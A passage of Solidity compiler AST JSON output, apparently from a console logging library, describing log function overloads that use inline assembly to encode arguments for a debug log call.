bytes32","nodeType":"ElementaryTypeName","src":"292078:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43438,"nodeType":"VariableDeclarationStatement","src":"292078:10:22"},{"assignments":[43440],"declarations":[{"constant":false,"id":43440,"mutability":"mutable","name":"m2","nameLocation":"292106:2:22","nodeType":"VariableDeclaration","scope":43461,"src":"292098:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43439,"name":"bytes32","nodeType":"ElementaryTypeName","src":"292098:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43441,"nodeType":"VariableDeclarationStatement","src":"292098:10:22"},{"assignments":[43443],"declarations":[{"constant":false,"id":43443,"mutability":"mutable","name":"m3","nameLocation":"292126:2:22","nodeType":"VariableDeclaration","scope":43461,"src":"292118:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43442,"name":"bytes32","nodeType":"ElementaryTypeName","src":"292118:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43444,"nodeType":"VariableDeclarationStatement","src":"292118:10:22"},{"assignments":[43446],"declarations":[{"constant":false,"id":43446,"mutability":"mutable","name":"m4","nameLocation":"292146:2:22","nodeType":"VariableDeclaration","scope":43461,"src":"292138:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43445,"name":"bytes32","nodeType":"ElementaryTypeName","src":"292138:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43447,"nodeType":"VariableDeclarationStatement","src":"292138:10:22"},{"assignments":[43449],"declarations":[{"constant":false,"id":43449,"mutability":"mutable","name":"m5","nameLocation":"292166:2:22","nodeType":"VariableDeclaration","scope":43461,"src":"292158:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43448,"name":"bytes32","nodeType":"ElementaryTypeName","src":"292158:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43450,"nodeType":"VariableDeclarationStatement","src":"292158:10:22"},{"assignments":[43452],"declarations":[{"constant":false,"id":43452,"mutability":"mutable","name":"m6","nameLocation":"292186:2:22","nodeType":"VariableDeclaration","scope":43461,"src":"292178:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43451,"name":"bytes32","nodeType":"ElementaryTypeName","src":"292178:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43453,"nodeType":"VariableDeclarationStatement","src":"292178:10:22"},{"AST":{"nativeSrc":"292207:828:22","nodeType":"YulBlock","src":"292207:828:22","statements":[{"body":{"nativeSrc":"292250:313:22","nodeType":"YulBlock","src":"292250:313:22","statements":[{"nativeSrc":"292268:15:22","nodeType":"YulVariableDeclaration","src":"292268:15:22","value":{"kind":"number","nativeSrc":"292282:1:22","nodeType":"YulLiteral","src":"292282:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"292272:6:22","nodeType":"YulTypedName","src":"292272:6:22","type":""}]},{"body":{"nativeSrc":"292353:40:22","nodeType":"YulBlock","src":"292353:40:22","statements":[{"body":{"nativeSrc":"292382:9:22","nodeType":"YulBlock","src":"292382:9:22","statements":[{"nativeSrc":"292384:5:22","nodeType":"YulBreak","src":"292384:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"292370:6:22","nodeType":"YulIdentifier","src":"292370:6:22"},{"name":"w","nativeSrc":"292378:1:22","nodeType":"YulIdentifier","src":"292378:1:22"}],"functionName":{"name":"byte","nativeSrc":"292365:4:22","nodeType":"YulIdentifier","src":"292365:4:22"},"nativeSrc":"292365:15:22","nodeType":"YulFunctionCall","src":"292365:15:22"}],"functionName":{"name":"iszero","nativeSrc":"292358:6:22","nodeType":"YulIdentifier","src":"292358:6:22"},"nativeSrc":"292358:23:22","nodeType":"YulFunctionCall","src":"292358:23:22"},"nativeSrc":"292355:36:22","nodeType":"YulIf","src":"292355:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"292310:6:22","nodeType":"YulIdentifier","src":"292310:6:22"},{"kind":"number","nativeSrc":"292318:4:22","nodeType":"YulLiteral","src":"292318:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"292307:2:22","nodeType":"YulIdentifier","src":"292307:2:22"},"nativeSrc":"292307:16:22","nodeType":"YulFunctionCall","src":"292307:16:22"},"nativeSrc":"292300:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"292324:28:22","nodeType":"YulBlock","src":"292324:28:22","statements":[{"nativeSrc":"292326:24:22","nodeType":"YulAssignment","src":"292326:24:22","value":{"arguments":[{"name":"length","nativeSrc":"292340:6:22","nodeType":"YulIdentifier","src":"292340:6:22"},{"kind":"number","nativeSrc":"292348:1:22","nodeType":"YulLiteral","src":"292348:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"292336:3:22","nodeType":"YulIdentifier","src":"292336:3:22"},"nativeSrc":"292336:14:22","nodeType":"YulFunctionCall","src":"292336:14:22"},"variableNames":[{"name":"length","nativeSrc":"292326:6:22","nodeType":"YulIdentifier","src":"292326:6:22"}]}]},"pre":{"nativeSrc":"292304:2:22","nodeType":"YulBlock","src":"292304:2:22","statements":[]},"src":"292300:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"292417:3:22","nodeType":"YulIdentifier","src":"292417:3:22"},{"name":"length","nativeSrc":"292422:6:22","nodeType":"YulIdentifier","src":"292422:6:22"}],"functionName":{"name":"mstore","nativeSrc":"292410:6:22","nodeType":"YulIdentifier","src":"292410:6:22"},"nativeSrc":"292410:19:22","nodeType":"YulFunctionCall","src":"292410:19:22"},"nativeSrc":"292410:19:22","nodeType":"YulExpressionStatement","src":"292410:19:22"},{"nativeSrc":"292446:37:22","nodeType":"YulVariableDeclaration","src":"292446:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"292463:3:22","nodeType":"YulLiteral","src":"292463:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"292472:1:22","nodeType":"YulLiteral","src":"292472:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"292475:6:22","nodeType":"YulIdentifier","src":"292475:6:22"}],"functionName":{"name":"shl","nativeSrc":"292468:3:22","nodeType":"YulIdentifier","src":"292468:3:22"},"nativeSrc":"292468:14:22","nodeType":"YulFunctionCall","src":"292468:14:22"}],"functionName":{"name":"sub","nativeSrc":"292459:3:22","nodeType":"YulIdentifier","src":"292459:3:22"},"nativeSrc":"292459:24:22","nodeType":"YulFunctionCall","src":"292459:24:22"},"variables":[{"name":"shift","nativeSrc":"292450:5:22","nodeType":"YulTypedName","src":"292450:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"292511:3:22","nodeType":"YulIdentifier","src":"292511:3:22"},{"kind":"number","nativeSrc":"292516:4:22","nodeType":"YulLiteral","src":"292516:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"292507:3:22","nodeType":"YulIdentifier","src":"292507:3:22"},"nativeSrc":"292507:14:22","nodeType":"YulFunctionCall","src":"292507:14:22"},{"arguments":[{"name":"shift","nativeSrc":"292527:5:22","nodeType":"YulIdentifier","src":"292527:5:22"},{"arguments":[{"name":"shift","nativeSrc":"292538:5:22","nodeType":"YulIdentifier","src":"292538:5:22"},{"name":"w","nativeSrc":"292545:1:22","nodeType":"YulIdentifier","src":"292545:1:22"}],"functionName":{"name":"shr","nativeSrc":"292534:3:22","nodeType":"YulIdentifier","src":"292534:3:22"},"nativeSrc":"292534:13:22","nodeType":"YulFunctionCall","src":"292534:13:22"}],"functionName":{"name":"shl","nativeSrc":"292523:3:22","nodeType":"YulIdentifier","src":"292523:3:22"},"nativeSrc":"292523:25:22","nodeType":"YulFunctionCall","src":"292523:25:22"}],"functionName":{"name":"mstore","nativeSrc":"292500:6:22","nodeType":"YulIdentifier","src":"292500:6:22"},"nativeSrc":"292500:49:22","nodeType":"YulFunctionCall","src":"292500:49:22"},"nativeSrc":"292500:49:22","nodeType":"YulExpressionStatement","src":"292500:49:22"}]},"name":"writeString","nativeSrc":"292221:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"292242:3:22","nodeType":"YulTypedName","src":"292242:3:22","type":""},{"name":"w","nativeSrc":"292247:1:22","nodeType":"YulTypedName","src":"292247:1:22","type":""}],"src":"292221:342:22"},{"nativeSrc":"292576:17:22","nodeType":"YulAssignment","src":"292576:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"292588:4:22","nodeType":"YulLiteral","src":"292588:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"292582:5:22","nodeType":"YulIdentifier","src":"292582:5:22"},"nativeSrc":"292582:11:22","nodeType":"YulFunctionCall","src":"292582:11:22"},"variableNames":[{"name":"m0","nativeSrc":"292576:2:22","nodeType":"YulIdentifier","src":"292576:2:22"}]},{"nativeSrc":"292606:17:22","nodeType":"YulAssignment","src":"292606:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"292618:4:22","nodeType":"YulLiteral","src":"292618:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"292612:5:22","nodeType":"YulIdentifier","src":"292612:5:22"},"nativeSrc":"292612:11:22","nodeType":"YulFunctionCall","src":"292612:11:22"},"variableNames":[{"name":"m1","nativeSrc":"292606:2:22","nodeType":"YulIdentifier","src":"292606:2:22"}]},{"nativeSrc":"292636:17:22","nodeType":"YulAssignment","src":"292636:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"292648:4:22","nodeType":"YulLiteral","src":"292648:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"292642:5:22","nodeType":"YulIdentifier","src":"292642:5:22"},"nativeSrc":"292642:11:22","nodeType":"YulFunctionCall","src":"292642:11:22"},"variableNames":[{"name":"m2","nativeSrc":"292636:2:22","nodeType":"YulIdentifier","src":"292636:2:22"}]},{"nativeSrc":"292666:17:22","nodeType":"YulAssignment","src":"292666:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"292678:4:22","nodeType":"YulLiteral","src":"292678:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"292672:5:22","nodeType":"YulIdentifier","src":"292672:5:22"},"nativeSrc":"292672:11:22","nodeType":"YulFunctionCall","src":"292672:11:22"},"variableNames":[{"name":"m3","nativeSrc":"292666:2:22","nodeType":"YulIdentifier","src":"292666:2:22"}]},{"nativeSrc":"292696:17:22","nodeType":"YulAssignment","src":"292696:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"292708:4:22","nodeType":"YulLiteral","src":"292708:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"292702:5:22","nodeType":"YulIdentifier","src":"292702:5:22"},"nativeSrc":"292702:11:22","nodeType":"YulFunctionCall","src":"292702:11:22"},"variableNames":[{"name":"m4","nativeSrc":"292696:2:22","nodeType":"YulIdentifier","src":"292696:2:22"}]},{"nativeSrc":"292726:17:22","nodeType":"YulAssignment","src":"292726:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"292738:4:22","nodeType":"YulLiteral","src":"292738:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"292732:5:22","nodeType":"YulIdentifier","src":"292732:5:22"},"nativeSrc":"292732:11:22","nodeType":"YulFunctionCall","src":"292732:11:22"},"variableNames":[{"name":"m5","nativeSrc":"292726:2:22","nodeType":"YulIdentifier","src":"292726:2:22"}]},{"nativeSrc":"292756:17:22","nodeType":"YulAssignment","src":"292756:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"292768:4:22","nodeType":"YulLiteral","src":"292768:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"292762:5:22","nodeType":"YulIdentifier","src":"292762:5:22"},"nativeSrc":"292762:11:22","nodeType":"YulFunctionCall","src":"292762:11:22"},"variableNames":[{"name":"m6","nativeSrc":"292756:2:22","nodeType":"YulIdentifier","src":"292756:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"292856:4:22","nodeType":"YulLiteral","src":"292856:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"292862:10:22","nodeType":"YulLiteral","src":"292862:10:22","type":"","value":"0x691a8f74"}],"functionName":{"name":"mstore","nativeSrc":"292849:6:22","nodeType":"YulIdentifier","src":"292849:6:22"},"nativeSrc":"292849:24:22","nodeType":"YulFunctionCall","src":"292849:24:22"},"nativeSrc":"292849:24:22","nodeType":"YulExpressionStatement","src":"292849:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"292893:4:22","nodeType":"YulLiteral","src":"292893:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"292899:2:22","nodeType":"YulIdentifier","src":"292899:2:22"}],"functionName":{"name":"mstore","nativeSrc":"292886:6:22","nodeType":"YulIdentifier","src":"292886:6:22"},"nativeSrc":"292886:16:22","nodeType":"YulFunctionCall","src":"292886:16:22"},"nativeSrc":"292886:16:22","nodeType":"YulExpressionStatement","src":"292886:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"292922:4:22","nodeType":"YulLiteral","src":"292922:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"292928:4:22","nodeType":"YulLiteral","src":"292928:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"292915:6:22","nodeType":"YulIdentifier","src":"292915:6:22"},"nativeSrc":"292915:18:22","nodeType":"YulFunctionCall","src":"292915:18:22"},"nativeSrc":"292915:18:22","nodeType":"YulExpressionStatement","src":"292915:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"292953:4:22","nodeType":"YulLiteral","src":"292953:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"292959:2:22","nodeType":"YulIdentifier","src":"292959:2:22"}],"functionName":{"name":"mstore","nativeSrc":"292946:6:22","nodeType":"YulIdentifier","src":"292946:6:22"},"nativeSrc":"292946:16:22","nodeType":"YulFunctionCall","src":"292946:16:22"},"nativeSrc":"292946:16:22","nodeType":"YulExpressionStatement","src":"292946:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"292982:4:22","nodeType":"YulLiteral","src":"292982:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"292988:2:22","nodeType":"YulIdentifier","src":"292988:2:22"}],"functionName":{"name":"mstore","nativeSrc":"292975:6:22","nodeType":"YulIdentifier","src":"292975:6:22"},"nativeSrc":"292975:16:22","nodeType":"YulFunctionCall","src":"292975:16:22"},"nativeSrc":"292975:16:22","nodeType":"YulExpressionStatement","src":"292975:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"293016:4:22","nodeType":"YulLiteral","src":"293016:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"293022:2:22","nodeType":"YulIdentifier","src":"293022:2:22"}],"functionName":{"name":"writeString","nativeSrc":"293004:11:22","nodeType":"YulIdentifier","src":"293004:11:22"},"nativeSrc":"293004:21:22","nodeType":"YulFunctionCall","src":"293004:21:22"},"nativeSrc":"293004:21:22","nodeType":"YulExpressionStatement","src":"293004:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43434,"isOffset":false,"isSlot":false,"src":"292576:2:22","valueSize":1},{"declaration":43437,"isOffset":false,"isSlot":false,"src":"292606:2:22","valueSize":1},{"declaration":43440,"isOffset":false,"isSlot":false,"src":"292636:2:22","valueSize":1},{"declaration":43443,"isOffset":false,"isSlot":false,"src":"292666:2:22","valueSize":1},{"declaration":43446,"isOffset":false,"isSlot":false,"src":"292696:2:22","valueSize":1},{"declaration":43449,"isOffset":false,"isSlot":false,"src":"292726:2:22","valueSize":1},{"declaration":43452,"isOffset":false,"isSlot":false,"src":"292756:2:22","valueSize":1},{"declaration":43424,"isOffset":false,"isSlot":false,"src":"292899:2:22","valueSize":1},{"declaration":43426,"isOffset":false,"isSlot":false,"src":"293022:2:22","valueSize":1},{"declaration":43428,"isOffset":false,"isSlot":false,"src":"292959:2:22","valueSize":1},{"declaration":43430,"isOffset":false,"isSlot":false,"src":"292988:2:22","valueSize":1}],"id":43454,"nodeType":"InlineAssembly","src":"292198:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":43456,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"293060:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":43457,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"293066:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":43455,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"293044:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43458,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"293044:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43459,"nodeType":"ExpressionStatement","src":"293044:27:22"},{"AST":{"nativeSrc":"293090:214:22","nodeType":"YulBlock","src":"293090:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"293111:4:22","nodeType":"YulLiteral","src":"293111:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"293117:2:22","nodeType":"YulIdentifier","src":"293117:2:22"}],"functionName":{"name":"mstore","nativeSrc":"293104:6:22","nodeType":"YulIdentifier","src":"293104:6:22"},"nativeSrc":"293104:16:22","nodeType":"YulFunctionCall","src":"293104:16:22"},"nativeSrc":"293104:16:22","nodeType":"YulExpressionStatement","src":"293104:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"293140:4:22","nodeType":"YulLiteral","src":"293140:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"293146:2:22","nodeType":"YulIdentifier","src":"293146:2:22"}],"functionName":{"name":"mstore","nativeSrc":"293133:6:22","nodeType":"YulIdentifier","src":"293133:6:22"},"nativeSrc":"293133:16:22","nodeType":"YulFunctionCall","src":"293133:16:22"},"nativeSrc":"293133:16:22","nodeType":"YulExpressionStatement","src":"293133:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"293169:4:22","nodeType":"YulLiteral","src":"293169:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"293175:2:22","nodeType":"YulIdentifier","src":"293175:2:22"}],"functionName":{"name":"mstore","nativeSrc":"293162:6:22","nodeType":"YulIdentifier","src":"293162:6:22"},"nativeSrc":"293162:16:22","nodeType":"YulFunctionCall","src":"293162:16:22"},"nativeSrc":"293162:16:22","nodeType":"YulExpressionStatement","src":"293162:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"293198:4:22","nodeType":"YulLiteral","src":"293198:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"293204:2:22","nodeType":"YulIdentifier","src":"293204:2:22"}],"functionName":{"name":"mstore","nativeSrc":"293191:6:22","nodeType":"YulIdentifier","src":"293191:6:22"},"nativeSrc":"293191:16:22","nodeType":"YulFunctionCall","src":"293191:16:22"},"nativeSrc":"293191:16:22","nodeType":"YulExpressionStatement","src":"293191:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"293227:4:22","nodeType":"YulLiteral","src":"293227:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"293233:2:22","nodeType":"YulIdentifier","src":"293233:2:22"}],"functionName":{"name":"mstore","nativeSrc":"293220:6:22","nodeType":"YulIdentifier","src":"293220:6:22"},"nativeSrc":"293220:16:22","nodeType":"YulFunctionCall","src":"293220:16:22"},"nativeSrc":"293220:16:22","nodeType":"YulExpressionStatement","src":"293220:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"293256:4:22","nodeType":"YulLiteral","src":"293256:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"293262:2:22","nodeType":"YulIdentifier","src":"293262:2:22"}],"functionName":{"name":"mstore","nativeSrc":"293249:6:22","nodeType":"YulIdentifier","src":"293249:6:22"},"nativeSrc":"293249:16:22","nodeType":"YulFunctionCall","src":"293249:16:22"},"nativeSrc":"293249:16:22","nodeType":"YulExpressionStatement","src":"293249:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"293285:4:22","nodeType":"YulLiteral","src":"293285:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"293291:2:22","nodeType":"YulIdentifier","src":"293291:2:22"}],"functionName":{"name":"mstore","nativeSrc":"293278:6:22","nodeType":"YulIdentifier","src":"293278:6:22"},"nativeSrc":"293278:16:22","nodeType":"YulFunctionCall","src":"293278:16:22"},"nativeSrc":"293278:16:22","nodeType":"YulExpressionStatement","src":"293278:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43434,"isOffset":false,"isSlot":false,"src":"293117:2:22","valueSize":1},{"declaration":43437,"isOffset":false,"isSlot":false,"src":"293146:2:22","valueSize":1},{"declaration":43440,"isOffset":false,"isSlot":false,"src":"293175:2:22","valueSize":1},{"declaration":43443,"isOffset":false,"isSlot":false,"src":"293204:2:22","valueSize":1},{"declaration":43446,"isOffset":false,"isSlot":false,"src":"293233:2:22","valueSize":1},{"declaration":43449,"isOffset":false,"isSlot":false,"src":"293262:2:22","valueSize":1},{"declaration":43452,"isOffset":false,"isSlot":false,"src":"293291:2:22","valueSize":1}],"id":43460,"nodeType":"InlineAssembly","src":"293081:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"291985:3:22","parameters":{"id":43431,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43424,"mutability":"mutable","name":"p0","nameLocation":"291997:2:22","nodeType":"VariableDeclaration","scope":43462,"src":"291989:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43423,"name":"uint256","nodeType":"ElementaryTypeName","src":"291989:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":43426,"mutability":"mutable","name":"p1","nameLocation":"292009:2:22","nodeType":"VariableDeclaration","scope":43462,"src":"292001:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43425,"name":"bytes32","nodeType":"ElementaryTypeName","src":"292001:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43428,"mutability":"mutable","name":"p2","nameLocation":"292021:2:22","nodeType":"VariableDeclaration","scope":43462,"src":"292013:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43427,"name":"uint256","nodeType":"ElementaryTypeName","src":"292013:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":43430,"mutability":"mutable","name":"p3","nameLocation":"292030:2:22","nodeType":"VariableDeclaration","scope":43462,"src":"292025:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":43429,"name":"bool","nodeType":"ElementaryTypeName","src":"292025:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"291988:45:22"},"returnParameters":{"id":43432,"nodeType":"ParameterList","parameters":[],"src":"292048:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43502,"nodeType":"FunctionDefinition","src":"293316:1340:22","nodes":[],"body":{"id":43501,"nodeType":"Block","src":"293391:1265:22","nodes":[],"statements":[{"assignments":[43474],"declarations":[{"constant":false,"id":43474,"mutability":"mutable","name":"m0","nameLocation":"293409:2:22","nodeType":"VariableDeclaration","scope":43501,"src":"293401:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43473,"name":"bytes32","nodeType":"ElementaryTypeName","src":"293401:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43475,"nodeType":"VariableDeclarationStatement","src":"293401:10:22"},{"assignments":[43477],"declarations":[{"constant":false,"id":43477,"mutability":"mutable","name":"m1","nameLocation":"293429:2:22","nodeType":"VariableDeclaration","scope":43501,"src":"293421:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43476,"name":"bytes32","nodeType":"ElementaryTypeName","src":"293421:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43478,"nodeType":"VariableDeclarationStatement","src":"293421:10:22"},{"assignments":[43480],"declarations":[{"constant":false,"id":43480,"mutability":"mutable","name":"m2","nameLocation":"293449:2:22","nodeType":"VariableDeclaration","scope":43501,"src":"293441:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43479,"name":"bytes32","nodeType":"ElementaryTypeName","src":"293441:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43481,"nodeType":"VariableDeclarationStatement","src":"293441:10:22"},{"assignments":[43483],"declarations":[{"constant":false,"id":43483,"mutability":"mutable","name":"m3","nameLocation":"293469:2:22","nodeType":"VariableDeclaration","scope":43501,"src":"293461:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43482,"name":"bytes32","nodeType":"ElementaryTypeName","src":"293461:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43484,"nodeType":"VariableDeclarationStatement","src":"293461:10:22"},{"assignments":[43486],"declarations":[{"constant":false,"id":43486,"mutability":"mutable","name":"m4","nameLocation":"293489:2:22","nodeType":"VariableDeclaration","scope":43501,"src":"293481:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43485,"name":"bytes32","nodeType":"ElementaryTypeName","src":"293481:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43487,"nodeType":"VariableDeclarationStatement","src":"293481:10:22"},{"assignments":[43489],"declarations":[{"constant":false,"id":43489,"mutability":"mutable","name":"m5","nameLocation":"293509:2:22","nodeType":"VariableDeclaration","scope":43501,"src":"293501:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43488,"name":"bytes32","nodeType":"ElementaryTypeName","src":"293501:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43490,"nodeType":"VariableDeclarationStatement","src":"293501:10:22"},{"assignments":[43492],"declarations":[{"constant":false,"id":43492,"mutability":"mutable","name":"m6","nameLocation":"293529:2:22","nodeType":"VariableDeclaration","scope":43501,"src":"293521:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43491,"name":"bytes32","nodeType":"ElementaryTypeName","src":"293521:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43493,"nodeType":"VariableDeclarationStatement","src":"293521:10:22"},{"AST":{"nativeSrc":"293550:831:22","nodeType":"YulBlock","src":"293550:831:22","statements":[{"body":{"nativeSrc":"293593:313:22","nodeType":"YulBlock","src":"293593:313:22","statements":[{"nativeSrc":"293611:15:22","nodeType":"YulVariableDeclaration","src":"293611:15:22","value":{"kind":"number","nativeSrc":"293625:1:22","nodeType":"YulLiteral","src":"293625:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"293615:6:22","nodeType":"YulTypedName","src":"293615:6:22","type":""}]},{"body":{"nativeSrc":"293696:40:22","nodeType":"YulBlock","src":"293696:40:22","statements":[{"body":{"nativeSrc":"293725:9:22","nodeType":"YulBlock","src":"293725:9:22","statements":[{"nativeSrc":"293727:5:22","nodeType":"YulBreak","src":"293727:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"293713:6:22","nodeType":"YulIdentifier","src":"293713:6:22"},{"name":"w","nativeSrc":"293721:1:22","nodeType":"YulIdentifier","src":"293721:1:22"}],"functionName":{"name":"byte","nativeSrc":"293708:4:22","nodeType":"YulIdentifier","src":"293708:4:22"},"nativeSrc":"293708:15:22","nodeType":"YulFunctionCall","src":"293708:15:22"}],"functionName":{"name":"iszero","nativeSrc":"293701:6:22","nodeType":"YulIdentifier","src":"293701:6:22"},"nativeSrc"